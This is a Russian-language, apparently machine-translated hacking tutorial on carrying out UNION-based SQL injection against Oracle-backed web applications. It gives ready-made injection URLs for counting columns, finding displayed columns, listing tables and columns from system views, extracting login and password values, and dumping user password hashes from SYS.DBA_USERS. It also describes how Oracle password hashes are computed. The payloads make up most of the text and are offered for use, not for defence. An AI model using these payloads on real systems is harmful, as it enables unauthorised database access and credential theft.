special

This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Проведение SQL инъекций в Oracle



  • [Введение]
  • [Особенности Oracle]
  • [Подбор столбцов]
  • [Определение принтабельных столбцов]
  • [Получение информации]
  • [Таблицы и столбцы]
  • [Пароли]
  • [Получение информации]



  • [Введение]


    Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось.
    В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду.
    В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое.
    Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder.

    [Особенности Oracle]


    Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
    Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
    В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
    Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
    Немаловажным свойством является отсутствие оператора LIMIT.
    Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
    Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
    При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Не всегда в тексте ошибки присутствует слово Oracle, например

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Подбор столбцов]


    Пусть ошибка присутствует в параметре id:

    www.site.com/view.php?id=1’
    Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:

    ORA-XXXXX: query block has incorrect number of result columns
    Для подбора столбцов существует 2 известных способа и хорошо описанных в статье spyder. Но приведу их еще раз, дабы читателю не бегать по статьям:

    1. Простой перебор.
    Составим следующий запрос

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Если ошибка появилась, увеличиваем количество столбцов на один
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    и так пока не исчезнет ошибка.

    2. Использование оператора ORDER BY
    Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос

    www.site.com/view.php?id=-1+order+by+1--
    если ошибки нет, значит столбцов 1 или более 1

    www.site.com/view.php?id=-1+order+by+99999--
    При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

    [Определение принтабельных столбцов]


    Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
    Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Для справки приведу синтаксис функции to_char():
    to_char( value, [ format_mask ], [ nls_language ] )

    [Получение информации]


    После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
    Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().

    [Таблицы и столбцы]


    Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
    Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Получить список сессий можно вот так: select * from V$session

    Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
    Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
    “ВСЕ ПРОПАЛО!!!” – скажете вы.
    “НЕТ!!!” – отвечу я вам.
    Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Таким образом, перебирая различное количество записей в выборке, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
    Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
    ALL_ - все доступные пользователю (владельцем может и не быть),
    USER_ - объекты, чьим владельцем этот пользователь является.
    Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Пароли]


    Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
    Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
    1. К имени пользователя приклеивается справа текст пароля.
    2. В получившейся строке буквам повышается регистр.
    3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
    4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
    5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
    6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.


    Дата створення/оновлення: 25.05.2018

    ';>